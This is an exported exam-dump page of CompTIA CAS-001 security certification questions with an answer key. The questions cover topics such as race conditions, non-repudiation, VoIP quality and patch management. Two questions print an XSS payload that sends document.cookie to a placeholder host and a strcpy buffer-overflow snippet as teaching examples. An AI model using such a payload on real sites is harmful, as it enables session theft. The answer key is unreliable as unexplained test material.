This page was exported from - New Braindump2go Exam Dumps
Export date: Fri Mar 29 7:12:14 2024 / +0000 GMT

2014 Latest CompTIA CAS-001 Exam Dump Free Download!

QUESTION 1 At 10:35 a.m. a malicious user was able to obtain a valid authentication token which allowed read/write access to the backend database of a financial company. At 10:45 a.m. the security administrator received multiple alerts from the company's statistical anomaly-based IDS about a company database administrator performing unusual transactions. At 10:55 a.m. the security administrator resets the database administrator's password. At 11:00 a.m. the security administrator is still receiving alerts from the IDS about unusual transactions from the same user. Which of the following is MOST likely the cause of the alerts? A. The IDS logs are compromised. B. The new password was compromised. C. An input validation error has occurred. D. A race condition has occurred. Answer: DQUESTION 2 Company A is purchasing Company B. Company A uses a change management system for all IT processes while Company B does not have one in place. Company B's IT staff needs to purchase a third party product to enhance production. Which of the following NEXT steps should be implemented to address the security impacts this product may cause? A. Purchase the product and test it in a lab environment before installing it on any live system. B. Allow Company A and B's IT staff to evaluate the new product prior to purchasing it. C. Purchase the product and test it on a few systems before installing it throughout the entire company. D. Use Company A's change management process during the evaluation of the new product. Answer: D QUESTION 3 The marketing department at Company A regularly sends out emails signed by the company's Chief Executive Officer (CEO) with announcements about the company. The CEO sends company and personal emails from a different email account. During legal proceedings against the company, the Chief Information Officer (CIO) must prove which emails came from the CEO and which came from the marketing department. The email server allows emails to be digitally signed and the corporate PKI provisioning allows for one certificate per user. The CEO did not share their password with anyone. Which of the following will allow the CIO to state which emails the CEO sent and which the marketing department sent? A. Identity proofing B. Non-repudiation C. Key escrow D. Digital rights management Answer: B QUESTION 4 A security administrator must implement a SCADA style network overlay to ensure secure remote management of all network management and infrastructure devices. Which of the following BEST describes the rationale behind this architecture? A. A physically isolated network that allows for secure metric collection. B. A physically isolated network with inband management that uses two factor authentication. C. A logically isolated network with inband management that uses secure two factor authentication. D. An isolated network that provides secure out-of-band remote management. Answer: D QUESTION 5 A helpdesk manager at a financial company has received multiple reports from employees and customers that their phone calls sound metallic on the voice system. The helpdesk has been using VoIP lines encrypted from the handset to the PBX for several years. Which of the following should be done to address this issue for the future? A. SIP session tagging and QoS B. A dedicated VLAN C. Lower encryption setting D. Traffic shaping Answer: B QUESTION 6 Which of the following provides the HIGHEST level of security for an integrated network providing services to authenticated corporate users? A. Point to point VPN tunnels for external users, three-factor authentication, a cold site, physical security guards, cloud based servers, and IPv6 networking. B. IPv6 networking, port security, full disk encryption, three-factor authentication, cloud based servers, and a cold site. C. Port security on switches, point to point VPN tunnels for user server connections, two-factor cryptographic authentication, physical locks, and a standby hot site. D. Port security on all switches, point to point VPN tunnels for user connections to servers, two- factor authentication, a sign-in roster, and a warm site. Answer: C QUESTION 7 A company currently does not use any type of authentication or authorization service for remote access. The new security policy states that all remote access must be locked down to only authorized personnel. The policy also dictates that only authorized external networks will be allowed to access certain internal resources. Which of the following would MOST likely need to be implemented and configured on the company's perimeter network to comply with the new security policy? (Select TWO). A. VPN concentrator B. Firewall C. Proxy server D. WAP E. Layer 2 switch Answer: AB QUESTION 8 Which of the following displays an example of a buffer overflow attack? A. <SCRIPT> document.location=' http://site.comptia/cgi-bin/script.cgi?'+document.cookie </SCRIPT> B. Checksums-Sha1:7be9e9bac3882beab1abb002bb5cd2302c76c48d 1157 xfig_3.2.5.b-1.dsc e0e3c9a9df6fac8f1536c2209025577edb1d1d9e 5770796 xfig_3.2.5.b.orig.tar.gz d474180fbeb6955e79bfc67520ad775a87b68d80 46856 xfig_3.2.5.b-1.diff.gz ddcba53dffd08e5d37492fbf99fe93392943c7b0 3363512 xfig-doc_3.2.5.b-1_all.deb 7773821c1a925978306d6c75ff5c579b018a2ac6 1677778 xfig-libs_3.2.5.b-1_all.deb b26c18cfb2ee2dc071b0e3bed6205c1fc0655022 739228 xfig_3.2.5.b-1_amd64.deb C. #include char *code = "AAAABBBBCCCCDDD"; //including the character " size = 16 bytes void main() {char buf[8]; strcpy(buf, code); } D. <form action="/cgi-bin/login" method=post> UsernamE. <input type=text name=username> PassworD. <input type=password name=password> <input type=submit value=Login> Answer: C QUESTION 9 Which of the following displays an example of a

XSS attack? A. <SCRIPT> document.location='http://site.comptia/cgi-bin/script.cgi?'+document.cookie </SCRIPT> B. Checksums-Sha1:7be9e9bac3882beab1abb002bb5cd2302c76c48d 1157 xfig_3.2.5.b-1.dsc e0e3c9a9df6fac8f1536c2209025577edb1d1d9e 5770796 xfig_3.2.5.b.orig.tar.gz d474180fbeb6955e79bfc67520ad775a87b68d80 46856 xfig_3.2.5.b-1.diff.gz ddcba53dffd08e5d37492fbf99fe93392943c7b0 3363512 xfig-doc_3.2.5.b-1_all.deb 7773821c1a925978306d6c75ff5c579b018a2ac6 1677778 xfig-libs_3.2.5.b-1_all.deb b26c18cfb2ee2dc071b0e3bed6205c1fc0655022 739228 xfig_3.2.5.b-1_amd64.deb C. <form action="/cgi-bin/login" method=post> UsernamE. <input type=text name=username> PasswordD. <input type=password name=password> <input type=submit value=Login> D. #include char *code = "AAAABBBBCCCCDDD"; //including the character " size = 16 bytes void main() {char buf[8]; strcpy(buf, code); } Answer: A QUESTION 10 Several critical servers are unresponsive after an update was installed. Other computers that have not yet received the same update are operational, but are vulnerable to certain buffer overflow attacks. The security administrator is required to ensure all systems have the latest updates while minimizing any downtime. Which of the following is the BEST risk mitigation strategy to use to ensure a system is properly updated and operational? A. Distributed patch management system where all systems in production are patched as updates are released. B. Central patch management system where all systems in production are patched by automatic updates as they are released. C. Central patch management system where all updates are tested in a lab environment after being installed on a live production system. D. Distributed patch management system where all updates are tested in a lab environment prior to being installed on a live production system. Answer: D QUESTION 11 Which of the following statements are true about network-attached storage (NAS)? Each correct answer represents a complete solution. Choose all that apply. A. NAS is connected to a computer network providing data access to heterogeneous network clients. B. NAS uses file-based protocols, such as NFS, SMB/CIFS, or AFP. C. NAS systems do not contain hard disks. D. NAS is file-level computer data storage. Answer: ABD QUESTION 12 Which of the following standard organizations promulgates worldwide proprietary industrial and commercial standards? A. IEEE B. ISO C. ANSI D. W3C Answer: B QUESTION 13 How many levels of threats are faced by the SAN? A. 3 B. 7 C. 5 D. 2 Answer: A QUESTION 14 In which of the following attacks does an attacker intercept call-signaling SIP message traffic and masquerade as the calling party to the called party and vice-versa? A. Man-in-the-middle B. Call tampering C. Eavesdropping D. Denial of Service Answer: A QUESTION 15 Which of the following are the purposes of the Cost-benefit analysis process? Each correct answer represents a complete solution. Choose two. A. To describe the future value on the investment of the project B. To see how it compares with alternate projects C. To determine if an investment is sound D. To support benefit management, measurement, and reporting Answer: BC Passing your CompTIA **CAS-001** Exam by using the latest **CAS-001** Exam Demo Full Version: